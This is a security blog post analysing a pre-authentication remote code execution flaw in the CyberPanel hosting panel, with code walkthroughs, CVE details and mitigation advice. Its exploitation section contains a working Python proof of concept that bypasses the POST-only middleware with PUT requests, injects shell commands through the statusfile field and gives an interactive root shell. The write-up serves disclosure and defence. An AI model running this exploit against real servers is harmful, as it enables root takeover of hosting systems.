Wed 30 October 2024
Introduction
This article provides a deep dive into the discovery and exploitation of a Remote Code Execution (RCE) vulnerability in CyberPanel, a Django-based web application used for managing web hosting services such as FTP, SSH, and SMTP. This critical flaw allows unauthenticated attackers to execute arbitrary commands as the root user, raising significant security concerns, particularly given CyberPanel's widespread use on VPS servers.
Our research has revealed that many machines are already compromised, as demonstrated by the image below showing ransomware on affected systems.
Finally, This article is inspired by the research conducted by DreyAnd, which highlights the technical details and bypass mechanisms associated with this vulnerability.
Update as of October 30, 2024
Two CVEs have been assigned along with a security announcement from the CyberPanel maintainers. A patch commit is available here.
-
CVE-2024-51567:
- Affects
upgrademysqlstatus()
indatabases/views.py
. - Exploited in the wild by PSAUX in October 2024.
- The issue arises from bypassing
secMiddleware
(active only for POST requests) and injecting shell metacharacters into thestatusfile
property to achieve unauthenticated command execution. - Affects versions up to 2.3.6 and the unpatched 2.3.7.
- Affects
-
CVE-2024-51568:
- A command injection vulnerability via the
completePath
parameter in theProcessUtilities.outputExecutioner()
sink. - Leads to unauthenticated RCE through
/filemanager/upload
. - Exploited through shell metacharacters supplied to the File Manager upload route.
- Versions before 2.3.5 are affected.
- A command injection vulnerability via the
Vulnerability Overview
- Vulnerable Component:
upgrademysqlstatus
route in CyberPanelv2.3.6
. - Impact: Unauthenticated RCE with root privileges.
- Exploit Type: 0-click, pre-auth Remote Code Execution.
- Root Cause: Inadequate authentication checks and unsafe use of subprocess commands.
Code Walkthrough and Analysis
The upgrademysqlstatus()
route in the vulnerable CyberPanel version provides critical insights into how the attack surface was identified. Let’s analyze the route to understand the underlying flaw.
Vulnerable Function: upgrademysqlstatus()
def upgrademysqlstatus(request):
try:
data = json.loads(request.body)
statusfile = data['statusfile']
# Unsafe execution using user input
installStatus = ProcessUtilities.outputExecutioner(f"sudo cat {statusfile}")
if "[200]" in installStatus:
ProcessUtilities.executioner(f"sudo rm -f {statusfile}")
response = {'error_message': "None", 'requestStatus': installStatus, 'abort': 1, 'installed': 1}
return HttpResponse(json.dumps(response))
elif "[404]" in installStatus:
ProcessUtilities.executioner(f"sudo rm -f {statusfile}")
response = {'error_message': "None", 'requestStatus': installStatus, 'abort': 1, 'installed': 0}
return HttpResponse(json.dumps(response))
else:
response = {'abort': 0, 'error_message': "None", 'requestStatus': installStatus}
return HttpResponse(json.dumps(response))
except KeyError:
return redirect(loadLoginPage)
Issues with the upgrademysqlstatus
function:
-
Lack of Authentication Checks:
- The
upgrademysqlstatus
route can be accessed without any authentication. Normally, sensitive routes should verify user identity through session tokens or middleware checks.
- The
-
Command Injection:
- User-controlled input (
statusfile
) is directly concatenated into a subprocess command (sudo cat {statusfile}
). - The function executes arbitrary shell commands with
sudo
privileges, leading to command injection.
- User-controlled input (
-
Bypassing the Middleware:
- The app uses
secMiddleware
to sanitize POST requests. However, this middleware only checks for command injection when the request method is POST. - This allows attackers to bypass the middleware by using non-POST methods (e.g., PUT or OPTIONS) while still supplying malicious payloads via
request.body
.
- The app uses
class secMiddleware:
HIGH = 0
LOW = 1
def get_client_ip(request):
ip = request.META.get('HTTP_CF_CONNECTING_IP')
if ip is None:
ip = request.META.get('REMOTE_ADDR')
return ip
def __init__(self, get_response):
self.get_response = get_response
...
if request.method == 'POST':
# Security checks are applied only here...
try:
data = json.loads(request.body)
# ...but ignored for non-POST requests.
...
Exploitation and Proof of Concept
This section demonstrates how to exploit the vulnerability by bypassing the middleware and injecting arbitrary commands.
Exploit Code
The PoC below demonstrates how to exploit the vulnerability by sending a PUT request to bypass the middleware and inject a command.
import httpx
import sys
def get_CSRF_token(client):
"""Retrieve the CSRF token required for requests."""
resp = client.get("/")
return resp.cookies['csrftoken']
def pwn(client, CSRF_token, cmd):
"""Send the malicious command to the vulnerable route."""
headers = {
"X-CSRFToken": CSRF_token,
"Content-Type": "application/json",
"Referer": str(client.base_url),
}
# Command injection via statusfile parameter
payload = '{"statusfile": "/dev/null; %s; #", "csrftoken": "%s"}' % (cmd, CSRF_token)
# Bypass middleware by using PUT instead of POST
response = client.put("/dataBases/upgrademysqlstatus", headers=headers, data=payload)
return response.json().get("requestStatus")
def exploit(target, cmd):
"""Main exploit logic."""
client = httpx.Client(base_url=target, verify=False)
CSRF_token = get_CSRF_token(client)
stdout = pwn(client, CSRF_token, cmd)
print(stdout)
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <target_url>")
sys.exit(1)
target = sys.argv[1]
while True:
cmd = input("$> ")
exploit(target, cmd)
Usage
Run the exploit:
python exploit.py https://<target-ip>:8090
Inject arbitrary commands:
$> id
uid=0(root) gid=0(root) groups=0(root)
Mitigation and Recommendations
To prevent similar vulnerabilities in the future, the following steps are recommended:
-
Centralized Authentication Middleware:
- Implement authentication checks globally rather than at individual route levels.
-
Input Validation Across Methods:
- Apply input validation consistently across all HTTP methods.
-
Avoid Direct Command Execution:
- Use libraries like Python's
subprocess.run()
with proper sanitization of user inputs.
- Use libraries like Python's
-
Least Privilege Principle:
- Avoid running services with root privileges unless absolutely necessary.
-
If You Have SSH Access:
- Update your CyberPanel by following the update guide. No further action is required.
-
If You Don’t Have SSH Access:
- In some cases, access to port 22 might be restricted by your provider, often due to server overloads or hacking attempts.
- In that case, contact your provider and request that they enable port 22. Once access is restored, update the panel following the provided instructions.
Conclusion
This pre-auth RCE in CyberPanel highlights the importance of comprehensive authentication, consistent input validation, and secure handling of subprocess commands. Attackers can easily exploit subtle logic flaws, bypass middleware, and escalate privileges to root, demonstrating the devastating impact of overlooked security practices. Until the patch is fully integrated into a stable release, users should immediately apply the patch and restrict access to the vulnerable endpoints.
We do newsletters, too
Get the latest news, updates, and product innovations from Ostorlab right in your inbox.